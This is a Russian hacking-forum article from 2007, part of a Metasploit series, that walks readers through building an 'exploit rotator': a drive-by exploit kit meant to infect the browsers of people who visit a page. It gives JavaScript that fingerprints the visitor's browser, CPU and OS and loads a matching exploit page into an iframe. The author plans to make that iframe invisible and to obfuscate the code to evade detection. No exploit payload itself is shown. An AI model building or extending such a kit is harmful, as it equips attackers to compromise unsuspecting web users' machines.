ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Делаем простой ротатор эксплоитов (или Metasploit Framework часть 6)
  #1  
Старый 02.04.2007, 16:44
Аватар для -=lebed=-
-=lebed=-
Флудер
Регистрация: 21.06.2006
Сообщений: 3,193
Провел на форуме:
12702287

Репутация: 4738


Post Делаем простой ротатор эксплоитов (или Metasploit Framework часть 6)

Ротатор эксплоитов (или Metasploit Framework часть 6)


Предисловие.

Статья расщитана не на новичков, а на тех кто уже знаком с пакетом разработки эксплоитов на практике. Остальным рекомендую почитать первые части. Заинтересованным рекомендую ознакомиться с официальным мануалом релиза 3.0 (вышел 27 марта 2007 года), перевод которого осуществил n0ne и выложил у себя на сайте Почитать пользовательский мануал по MSF 3.0, за что ему огромный респект!
Что такое Ротатор? Ну наверно многие слышали, видели объявления, "продаю связку эсплоитов, пробив столько-то процентов, цена 1000$". Ну вот, например. Что же это за зверь? Опишу своими словами. Связка сплоитов - набор эксплоитов, которые эксплуатируют те или иные уязвимости в приложениях, сервисах и т. п. Причём по определённому алгоритму, ну типа не пробил один сплоит, пробуем следующий... и т.д. Вообщем, я подумал, что ввиду большого количества паблик эксплоитов для браузеров (в основной массе IE) пора написать простенький ротатор по типу той интелектуальной связки эксплоитов, и доводить его до ума, совершенствуя алгоритм ротации. Возьмём многие идеи автора, запостившего объявление о продаже своей связки на вооружение и попробуем сэкономить 500$-1000$. (Ведь сплоиты то есть в паблике! - за что платить? За двиг ротатора? За скрипты сбора статистики пробива браузеров? Попробуем всё сделать своими руками, и так с...

1. Подготовка.

а). Определимся с типом жертвы: Жертва у нас будет популярные браузеры IE - в первую очередь (как самый дырявый браузер), в меньшей степени Opera и FireFox (имеющих мало паблик уязвимостей).
б). Нам потребуется:
- ПО Metasploit Framework 3.0 (релиз) скачать можно тут: http://metasploit.com/
- Минимальные знания html и javascript;
- Все три популярных браузера (для тестирования);
- Редактор html c подсветкой синтаксиса (пойдёт и визуальный).
- Прямые руки и светлая голова.

2. Типа начинаем кодить.

Определяемся с алгоритмом ротации и языком на котором будем писать:
- Ну во первых откажемся от PHP и Perl, так как возможность их использования, как правило отсутствует на бесплатных хостингах, а вешать ротатор в iframe мы будем именно на них. А так же ввиду того, что мы не ахти какие кодеры на PHP и Perl (не обладаем достаточными знаниями). Поэтому остаётся javascript, исполняемый в браузере клиента. И так алгоритм:
- Определяем тип нашего клиента (тип браузера) юзверя посетившего нашу страничку. Сделаем это с помощью javascript, велосипед изобретать не будем, а возьмём готовый код, например отсюда: http://www.xakep.ru/magazine/xa/080/048/2.asp
Код:
<script language="javascript">
document.write ("You are using: " + navigator.appName)
document.write ("CPU type: " + navigator.cpuClass)
document.write ("Screen Resolution: " + screen.width + "x" + screen.height)
document.write ("Available Screen Resolution: " + screen.availWidth + "x" + screen.availHeight)
document.write ("Screen Color Depth: " + screen.colorDepth)
today = new Date()
document.writeln("Date & time on your computer and time zone is: " + today)
document.writeln("Date & time in your locale format: " + today.toLocaleString())
</script>
Здесь для нас важная 1 строка, она определяет тип браузера. Оставим то, что нам нужно и проверим, как присваивается переменной brouser значение (Тип браузера), а переменной cpu - тип CPU
Код:
<script language="javascript">
brouser=navigator.appName
cpu=navigator.cpuClass
document.write ("You are using: " + brouser)
document.write ("CPU type: " + cpu)
</script>
Проверили - всё ок.
- Хорошо бы достать версию OC, не уверен что это можно сделать с помощью javascript поэтому придётся лезть в документацию или Гугл. Я полез в Гугл (в javascript я чайник, так что не бейте сильно) 5 секунд и ответ найден: Можно определить и ОС, ниже приведён код функции определения версии ОС на javascript:
Код:
<SCRIPT language=JavaScript>
 function test_os() {
  if ((navigator.userAgent.indexOf ('Win') != -1) &&
    (navigator.userAgent.indexOf('98') != -1))
    { var OpSys = "Windows 98"; }
  else if((navigator.userAgent.indexOf('Win') != -1) &&
    (navigator.userAgent.indexOf('95') != -1))
    { var OpSys = "Windows 95"; }
  else if(navigator.appVersion.indexOf("16") !=-1)
   { var OpSys = "Windows 3.1"; }
  else if (navigator.appVersion.indexOf ("NT") !=-1)
   { var OpSys= "Windows NT"; } 
  else if (navigator.appVersion.indexOf ("Linux") !=-1)
   { var OpSys = "Linux"; } 
  else if (navigator.userAgent.indexOf ('Mac') != -1)
   { var OpSys = "Macintosh"; }
  else { var OpSys = "other"; }
   return OpSys;
 }
</SCRIPT>
Потом в теле вызываем эту функцию:
Код:
<BODY>
<SCRIPT language=JavaScript>
 var OpSys = test_os();
 document.write("Вы используете ОС: " + OpSys);
</SCRIPT>
</BODY>
Ну что же, неплохо, на входе нашего будущего Ротатора (а он будет на яваскрипт javascript) мы имеем три переменные: brouser, cpu, OpSys (тип броузера, тип цп, тип OC). В зависимости от этих значений и будем проводить ротацию эксплоитов. Если со значением переменной OpSys всё ясно (видно из кода), то посмотрим какие значения может принимать переменная brouser, для этого зайдём попеременно тремя популярными браузерами. И так Опера - brouser="Opera", IE - brouser="Microsoft Internet Explorer", FireFox - brouser="Netscape". То есть в зависимости от типа браузера мы будем использовать разные наборы сплоитов. И так у нас появились три ветви. Реализуем это на javascript, чтоб в Iframe выводилась нужная страница. Обзовём их по значению переменной brouser: Microsoft Internet Explorer.html, Opera.html, Netscape.html
За основу возьмём код, любезно предоставленный _Nikolas_ для ротации сайтов в iframe и подправим его немного под себя. Будем использовать, его как точку опоры. Кстати он после небольшой переделки подойдёт для автоматической ротации вредоносных страниц, содержащих эксплоиты.
Код:
<html>
  <head>
    <title></title>
    <script type="text/javascript">
      var sites = new Array();
      var currentSite = 0;
      //тут добавляешь скока хошь сайтов
      sites[0] = "http://mail.ru";
      sites[1] = "http://ya.ru";
      sites[2] = "http://google.com";
      function changeSite() {
        document.getElementById( "ifrm" ).src = sites[currentSite];
        currentSite++;
        if ( currentSite >= sites.length ) {
          currentSite = 0;
        }
      }
      setInterval( "changeSite()", 5000 );
    </script>
  </head>
  <body onload="changeSite()">
    <iframe id="ifrm" src="ya.ru"/>
  </body>
</html>
Я исправил для начала так:
Код:
<html>
  <head>
    <title></title>
    <script type="text/javascript">
      var sites = new Array();
      var currentPage = 0;
      //тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
      sites[0] = "Opera.html";
      sites[1] = "Microsoft Internet Explorer.html";
      sites[2] = "Netscape.html";
      function changePage() {
        document.getElementById( "ifrm" ).src = sites[currentPage];
        currentPage++;
        if ( currentPage >= sites.length ) {
          currentPage = 0;
        }
      }
      setInterval( "changePage()", 500 );
    </script>
  </head>
  <body onload="changePage()">
    <iframe id="ifrm" src="Microsoft Internet Explorer.html"/>
  </body>
</html>
Сделаем пока 3 пустые страницы с одной надписью (имя браузера), для вывода в iframe и и обзовём их по типу браузеров:
Например: страница Netscape.html, содержимое:
Код:
 <html>
<head>
<meta http-equiv="Content-Language" content="ru">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>FireFox</title>
</head>
<body>
<p align="left"><font size="6">FireFox</font></p>
<p>Тут будет ротация эксплоитов для Mozilla FireFox</p>
</body>
</html>
Проверяем, всё работает, в iframe меняются переодически наши (пока ещё не вредоносные странички. Но Ротация тут нам не нужна, а нужен выбор только одной страницы, в зависимости от значения переменной brouser.
Поэтому просто исправляем код под наши нужды:
Код:
    <script type="text/javascript">
      var sites = new Array();
      var currentPage = nomer();
      //тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
      sites[0] = "Microsoft Internet Explorer.html";
      sites[1] = "Opera.html";
      sites[2] = "Netscape.html";
      function changePage() {
        document.getElementById( "ifrm" ).src = sites[currentPage];
     }
    </script>
Осталось написать функцию nomer() - она будет возвращать число от 0 до 2, в зависимости от типа браузера, вот её код:
Код:
<SCRIPT language=JavaScript>
function nomer() {
 var nomer="0"
  if (brouser==="Microsoft Internet Explorer")
    { nomer="0"; }
  else if (brouser==="Opera")
    { nomer="1"; }
    else if (brouser==="Netscape")
    { nomer="2"; }  
 return (nomer);
 }
</SCRIPT>
И так собираем всё вместе:
Код:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Ротатор Эксплоитов</title>
</head>
<SCRIPT language=JavaScript>
<!-- определяем значения переменных -->
brouser=navigator.appName
cpu=navigator.cpuClass
 
 
<!-- функция определения ОС --> 
function test_os() {
  if ((navigator.userAgent.indexOf ('Win') != -1) &&
    (navigator.userAgent.indexOf('98') != -1))
    { var OpSys = "Windows 98"; }
  else if((navigator.userAgent.indexOf('Win') != -1) &&
    (navigator.userAgent.indexOf('95') != -1))
    { var OpSys = "Windows 95"; }
  else if(navigator.appVersion.indexOf("16") !=-1)
   { var OpSys = "Windows 3.1"; }
  else if (navigator.appVersion.indexOf ("NT") !=-1)
   { var OpSys= "Windows NT"; } 
  else if (navigator.appVersion.indexOf ("Linux") !=-1)
   { var OpSys = "Linux"; } 
  else if (navigator.userAgent.indexOf ('Mac') != -1)
   { var OpSys = "Macintosh"; }
  else { var OpSys = "other"; }
   return OpSys;
 }


<!-- выводим на экран для контроля -->
document.write ("  CPU type: " + cpu + "  Операционная система : " + test_os())


<!-- функция номер IE=0, Opera=2, FireFox=3 -->
function nomer() {
 var nomer="0"
  if (brouser==="Microsoft Internet Explorer")
    { nomer="0"; }
  else if (brouser==="Opera")
    { nomer="1"; }
    else if (brouser==="Netscape")
    { nomer="2"; }  
 return (nomer);
 }

<!-- выводим на экран для контроля имя браузера и присвоенные ему код-->
document.write(",  Вы используете браузер:  " + brouser + ", его код=" + nomer());

<!-- выбираем нужную страницу в iframe по коду-->
      var sites = new Array();
      var currentPage = nomer();
      //тут заменим наши сайты вредоносными страницами, которые будут содержать эксплоиты.
      sites[0] = "Microsoft Internet Explorer.html";
      sites[1] = "Opera.html";
      sites[2] = "Netscape.html";
      function changePage() {
        document.getElementById( "ifrm" ).src = sites[currentPage];
     }
    </script>
<body onload="changePage()">
    <iframe id="ifrm" src=""/>
  </body>
</html>
Вот так, нихрена не соображая в javascript, мы написали корявый но рабочий код (заготовку) нашего будущего ротатора.
Конечно мы потом уберём весь вывод на экран, сделаем фрейм невидимым (нулевого размера) и попробуем закодировать html, чтоб явно не палился...
А также используем полученные глобальные переменные (OpSys, cpu) и для определения оптимального алгоритма ротации страниц с эксплоитами, чтоб сразу не свалить браузер в даун, а попытаться исполнить начинку (полезный груз, шеллкод) сначала более надёжными сплоитами (работающими в большинстве случаев).

P.S. Статья не окончена - будет продолжение.
Принимаю замечания и исправления, а так же ваши варианты оптимизированного кода на Javascript и html

Последний раз редактировалось -=lebed=-; 03.04.2007 в 14:51.. Причина: Орфф. ошибки
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Раздача Троя (Или Metasploit Framework часть 2) -=lebed=- Авторские статьи 38 19.05.2009 13:40
Делаем FreeBSD безопасной (Xakep № 69) zl0ba *nix 12 02.03.2009 22:14
Хакеры и кракеры или "Что такое хорошо и что такое плохо?" foreva Чужие Статьи 12 09.02.2008 12:26



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ